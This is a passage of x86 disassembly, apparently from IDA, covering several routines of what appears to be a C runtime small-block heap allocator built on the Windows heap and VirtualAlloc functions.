jnz short loc_40F05B
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_40F048
; ---------------------------------------------------------------------------
loc_40F05B: ; CODE XREF: sub_40EFAC+A5j
cmp ebx, [ebp+var_4]
loc_40F05E: ; CODE XREF: sub_40EFAC+9Fj
jnz short loc_40F086
mov ebx, edx
loc_40F062: ; CODE XREF: sub_40EFAC+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_40F076
cmp dword ptr [ebx+8], 0
jnz short loc_40F074
add ebx, 14h
jmp short loc_40F062
; ---------------------------------------------------------------------------
loc_40F074: ; CODE XREF: sub_40EFAC+C1j
cmp ebx, eax
loc_40F076: ; CODE XREF: sub_40EFAC+BBj
jnz short loc_40F086
call sub_40F2B5
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_40F09A
loc_40F086: ; CODE XREF: sub_40EFAC:loc_40F05Ej
; sub_40EFAC:loc_40F076j
push ebx
call sub_40F366
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_40F0A1
loc_40F09A: ; CODE XREF: sub_40EFAC+D8j
xor eax, eax
jmp loc_40F2B0
; ---------------------------------------------------------------------------
loc_40F0A1: ; CODE XREF: sub_40EFAC+7Aj
; sub_40EFAC:loc_40F046j ...
mov dword_480F70, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_40F0C8
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_40F0FF
loc_40F0C8: ; CODE XREF: sub_40EFAC+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_40F0FC
loc_40F0E5: ; CODE XREF: sub_40EFAC+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_40F0E5
loc_40F0FC: ; CODE XREF: sub_40EFAC+137j
mov edx, [ebp+var_4]
loc_40F0FF: ; CODE XREF: sub_40EFAC+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_40F128
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_40F128: ; CODE XREF: sub_40EFAC+16Dj
; sub_40EFAC+183j
test ecx, ecx
jl short loc_40F131
shl ecx, 1
inc edi
jmp short loc_40F128
; ---------------------------------------------------------------------------
loc_40F131: ; CODE XREF: sub_40EFAC+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_40F14E
push 3Fh
pop esi
loc_40F14E: ; CODE XREF: sub_40EFAC+19Dj
cmp esi, edi
jz loc_40F263
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_40F1BF
cmp edi, 20h
jge short loc_40F18E
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_40F1BC
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_40F1BF
; ---------------------------------------------------------------------------
loc_40F18E: ; CODE XREF: sub_40EFAC+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_40F1BC
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_40F1BF
; ---------------------------------------------------------------------------
loc_40F1BC: ; CODE XREF: sub_40EFAC+1D6j
; sub_40EFAC+203j
mov ebx, [ebp+arg_0]
loc_40F1BF: ; CODE XREF: sub_40EFAC+1B0j
; sub_40EFAC+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_40F26F
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_40F260
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_40F231
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_40F21F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_40F21F: ; CODE XREF: sub_40EFAC+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_40F260
; ---------------------------------------------------------------------------
loc_40F231: ; CODE XREF: sub_40EFAC+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_40F24A
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_40F24A: ; CODE XREF: sub_40EFAC+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_40F260: ; CODE XREF: sub_40EFAC+24Ej
; sub_40EFAC+283j
mov ecx, [ebp+var_8]
loc_40F263: ; CODE XREF: sub_40EFAC+1A4j
test ecx, ecx
jz short loc_40F272
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_40F272
; ---------------------------------------------------------------------------
loc_40F26F: ; CODE XREF: sub_40EFAC+229j
mov ecx, [ebp+var_8]
loc_40F272: ; CODE XREF: sub_40EFAC+2B9j
; sub_40EFAC+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_40F2A8
cmp ebx, dword_480F74
jnz short loc_40F2A8
mov ecx, [ebp+var_4]
cmp ecx, dword_480F6C
jnz short loc_40F2A8
and dword_480F74, 0
loc_40F2A8: ; CODE XREF: sub_40EFAC+2E0j
; sub_40EFAC+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_40F2B0: ; CODE XREF: sub_40EFAC+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_40EFAC endp
; =============== S U B R O U T I N E =======================================
sub_40F2B5 proc near ; CODE XREF: sub_40EFAC+CCp
mov eax, dword_480F78
mov ecx, dword_480F68
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_40F2F8
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_480F7C
push edi
push dword_480F84
call dword_417110 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_40F348
add dword_480F68, 10h
mov dword_480F7C, eax
mov eax, dword_480F78
loc_40F2F8: ; CODE XREF: sub_40F2B5+11j
mov ecx, dword_480F7C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_480F84
lea esi, [ecx+eax*4]
call dword_417104 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_40F348
push 4
push 2000h
push 100000h
push edi
call dword_417138 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_40F34C
push dword ptr [esi+10h]
push edi
push dword_480F84
call dword_417108 ; RtlFreeHeap
loc_40F348: ; CODE XREF: sub_40F2B5+30j
; sub_40F2B5+67j
xor eax, eax
jmp short loc_40F363
; ---------------------------------------------------------------------------
loc_40F34C: ; CODE XREF: sub_40F2B5+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_480F78
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_40F363: ; CODE XREF: sub_40F2B5+95j
pop edi
pop esi
retn
sub_40F2B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F366 proc near ; CODE XREF: sub_40EFAC+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_40F378: ; CODE XREF: sub_40F366+19j
test eax, eax
jl short loc_40F381
shl eax, 1
inc ebx
jmp short loc_40F378
; ---------------------------------------------------------------------------
loc_40F381: ; CODE XREF: sub_40F366+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_40F396: ; CODE XREF: sub_40F366+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_40F396
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_417138 ; VirtualAlloc
test eax, eax
jnz short loc_40F3C9
or eax, 0FFFFFFFFh
jmp loc_40F45C
; ---------------------------------------------------------------------------
loc_40F3C9: ; CODE XREF: sub_40F366+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_40F40F
lea eax, [edi+10h]
loc_40F3D6: ; CODE XREF: sub_40F366+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_40F3D6
loc_40F40F: ; CODE XREF: sub_40F366+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_40F44C
or [eax+4], edi
loc_40F44C: ; CODE XREF: sub_40F366+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_40F45C: ; CODE XREF: sub_40F366+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_40F366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F461 proc near ; CODE XREF: sub_40C4F8+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_40F60F
test bl, 1
jnz loc_40F608
add ebx, ecx
cmp esi, ebx
jg loc_40F608
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_40F4D8
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_40F4D8: ; CODE XREF: sub_40F461+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_40F528
cmp ecx, 20h
jnb short loc_40F504
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_40F528
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_40F528
; ---------------------------------------------------------------------------
loc_40F504: ; CODE XREF: sub_40F461+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_40F528
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_40F528: ; CODE XREF: sub_40F461+7Dj
; sub_40F461+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_40F5F6
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_40F562
push 3Fh
pop edi
loc_40F562: ; CODE XREF: sub_40F461+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_40F5E4
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_40F5BB
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_40F5AE
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_40F5AE: ; CODE XREF: sub_40F461+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_40F5E0
; ---------------------------------------------------------------------------
loc_40F5BB: ; CODE XREF: sub_40F461+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_40F5D1
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_40F5D1: ; CODE XREF: sub_40F461+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_40F5E0: ; CODE XREF: sub_40F461+158j
shr edx, cl
or [eax], edx
loc_40F5E4: ; CODE XREF: sub_40F461+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_40F5F9
; ---------------------------------------------------------------------------
loc_40F5F6: ; CODE XREF: sub_40F461+E5j
mov edx, [ebp+arg_4]
loc_40F5F9: ; CODE XREF: sub_40F461+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_40F74F
; ---------------------------------------------------------------------------
loc_40F608: ; CODE XREF: sub_40F461+52j
; sub_40F461+5Cj
xor eax, eax
jmp loc_40F752
; ---------------------------------------------------------------------------
loc_40F60F: ; CODE XREF: sub_40F461+49j
jge loc_40F74F
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_40F63A
push 3Fh
pop esi
loc_40F63A: ; CODE XREF: sub_40F461+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_40F6C9
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_40F653
push 3Fh
pop esi
loc_40F653: ; CODE XREF: sub_40F461+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_40F6A2
cmp esi, 20h
jnb short loc_40F67E
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_40F69F
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_40F69F
; ---------------------------------------------------------------------------
loc_40F67E: ; CODE XREF: sub_40F461+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_40F69F
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_40F69F: ; CODE XREF: sub_40F461+214j
; sub_40F461+21Bj ...
mov ebx, [ebp+arg_4]
loc_40F6A2: ; CODE XREF: sub_40F461+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_40F6C9
push 3Fh
pop esi
loc_40F6C9: ; CODE XREF: sub_40F461+1DDj
; sub_40F461+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_40F746
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_40F71D
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40F710
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_40F710: ; CODE XREF: sub_40F461+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_40F742
; ---------------------------------------------------------------------------
loc_40F71D: ; CODE XREF: sub_40F461+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40F733
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_40F733: ; CODE XREF: sub_40F461+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_40F742: ; CODE XREF: sub_40F461+2BAj
shr edx, cl
or [eax], edx
loc_40F746: ; CODE XREF: sub_40F461+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_40F74F: ; CODE XREF: sub_40F461+1A2j
; sub_40F461:loc_40F60Fj
push 1
pop eax
loc_40F752: ; CODE XREF: sub_40F461+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_40F461 endp
; =============== S U B R O U T I N E =======================================
sub_40F757 proc near ; CODE XREF: sub_40EBB3+41p
; sub_40FA4F:loc_40FC1Ep
cmp dword_41DC20, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_40F76B
mov esi, offset off_41DC10
jmp short loc_40F788
; ---------------------------------------------------------------------------
loc_40F76B: ; CODE XREF: sub_40F757+Bj
push 2020h
push 0
push dword_480F84
call dword_417104 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_40F894
loc_40F788: ; CODE XREF: sub_40F757+12j
mov ebp, dword_417138
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_40F87D
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_40F86F
mov eax, offset off_41DC10
cmp esi, eax
jnz short loc_40F7E7
cmp off_41DC10, 0
jnz short loc_40F7D7
mov off_41DC10, eax
loc_40F7D7: ; CODE XREF: sub_40F757+79j
cmp off_41DC14, 0
jnz short loc_40F7FC
mov off_41DC14, eax
jmp short loc_40F7FC
; ---------------------------------------------------------------------------
loc_40F7E7: ; CODE XREF: sub_40F757+70j
mov [esi], eax
mov eax, off_41DC14
mov [esi+4], eax
mov off_41DC14, esi
mov eax, [esi+4]
mov [eax], esi
loc_40F7FC: ; CODE XREF: sub_40F757+87j
; sub_40F757+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_40F81E: ; CODE XREF: sub_40F757+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_40F81E
push ebx
push 0
push edi
call sub_40B630
add esp, 0Ch
loc_40F847: ; CODE XREF: sub_40F757+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_40F86B
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_40F847
; ---------------------------------------------------------------------------
loc_40F86B: ; CODE XREF: sub_40F757+F7j
mov eax, esi
jmp short loc_40F896
; ---------------------------------------------------------------------------
loc_40F86F: ; CODE XREF: sub_40F757+63j
push 8000h
push 0
push edi
call dword_417134 ; VirtualFree
loc_40F87D: ; CODE XREF: sub_40F757+4Bj
cmp esi, offset off_41DC10
jz short loc_40F894
push esi
push 0
push dword_480F84
call dword_417108 ; RtlFreeHeap
loc_40F894: ; CODE XREF: sub_40F757+2Bj
; sub_40F757+12Cj
xor eax, eax
loc_40F896: ; CODE XREF: sub_40F757+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40F757 endp
; =============== S U B R O U T I N E =======================================
sub_40F89B proc near ; CODE XREF: sub_40F8F1+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_417134 ; VirtualFree
cmp off_41FC30, esi
jnz short loc_40F8C0
mov eax, [esi+4]
mov off_41FC30, eax
loc_40F8C0: ; CODE XREF: sub_40F89B+1Bj
cmp esi, offset off_41DC10
jz short loc_40F8E8
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_480F84
call dword_417108 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_40F8E8: ; CODE XREF: sub_40F89B+2Bj
or dword_41DC20, 0FFFFFFFFh
pop esi
retn
sub_40F89B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F8F1 proc near ; CODE XREF: sub_40FA0A+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_41DC14
push edi
loc_40F8FE: ; CODE XREF: sub_40F8F1+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_40F99C
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_40F917: ; CODE XREF: sub_40F8F1+72j
cmp dword ptr [edi], 0F0h
jnz short loc_40F958
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_417134 ; VirtualFree
test eax, eax
jz short loc_40F958
or dword ptr [edi], 0FFFFFFFFh
dec dword_47F974
mov eax, [esi+0Ch]
test eax, eax
jz short loc_40F94D
cmp eax, edi
jbe short loc_40F950
loc_40F94D: ; CODE XREF: sub_40F8F1+56j
mov [esi+0Ch], edi
loc_40F950: ; CODE XREF: sub_40F8F1+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_40F965
loc_40F958: ; CODE XREF: sub_40F8F1+2Cj
; sub_40F8F1+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_40F917
loc_40F965: ; CODE XREF: sub_40F8F1+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_40F99C
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_40F99C
push 1
lea eax, [ecx+20h]
pop edx
loc_40F97C: ; CODE XREF: sub_40F8F1+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_40F98D
inc edx
add eax, 8
cmp edx, 400h
jl short loc_40F97C
loc_40F98D: ; CODE XREF: sub_40F8F1+8Ej
cmp edx, 400h
jnz short loc_40F99C
push ecx
call sub_40F89B
pop ecx
loc_40F99C: ; CODE XREF: sub_40F8F1+11j
; sub_40F8F1+7Dj ...
cmp esi, off_41DC14
jz short loc_40F9AE
cmp [ebp+arg_0], 0
jg loc_40F8FE
loc_40F9AE: ; CODE XREF: sub_40F8F1+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_40F8F1 endp
; =============== S U B R O U T I N E =======================================
sub_40F9B3 proc near ; CODE XREF: sub_40B771+3Ap
; sub_40C4F8+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_41DC10
push esi
mov ecx, edx
loc_40F9BF: ; CODE XREF: sub_40F9B3+1Cj
cmp eax, [ecx+10h]
jbe short loc_40F9C9
cmp eax, [ecx+14h]
jb short loc_40F9D1
loc_40F9C9: ; CODE XREF: sub_40F9B3+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_40FA06
jmp short loc_40F9BF
; ---------------------------------------------------------------------------
loc_40F9D1: ; CODE XREF: sub_40F9B3+14j
test al, 0Fh
jnz short loc_40FA06
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_40FA06
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_40FA06: ; CODE XREF: sub_40F9B3+1Aj
; sub_40F9B3+20j ...
xor eax, eax
pop esi
retn
sub_40F9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40FA0A proc near ; CODE XREF: sub_40B771+4Dp
; sub_40C4F8+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_40FA4E
inc dword_47F974
cmp dword_47F974, 20h
jnz short locret_40FA4E
push 10h
call sub_40F8F1
pop ecx
locret_40FA4E: ; CODE XREF: sub_40FA0A+2Bj
; sub_40FA0A+3Aj
retn
sub_40FA0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA4F proc near ; CODE XREF: sub_40B6FD+4Ap
; sub_40C4F8+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_41FC30
push edi
loc_40FA5D: ; CODE XREF: sub_40FA4F+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_40FB08
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_40FAC2
loc_40FA88: ; CODE XREF: sub_40FA4F+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_40FAAB
cmp [edi+4], ebx
jbe short loc_40FAAB
push ebx
push ecx
push eax
call sub_40FC57
add esp, 0Ch
test eax, eax
jnz short loc_40FB1A
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_40FAAB: ; CODE XREF: sub_40FA4F+40j
; sub_40FA4F+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_40FA88
jmp short loc_40FAC5
; ---------------------------------------------------------------------------
loc_40FAC2: ; CODE XREF: sub_40FA4F+37j
mov ebx, [ebp+arg_0]
loc_40FAC5: ; CODE XREF: sub_40FA4F+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_40FB0B
loc_40FAD8: ; CODE XREF: sub_40FA4F+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_40FAF7
cmp [edi+4], ebx
jbe short loc_40FAF7
push ebx
push eax
push [ebp+var_4]
call sub_40FC57
add esp, 0Ch
test eax, eax
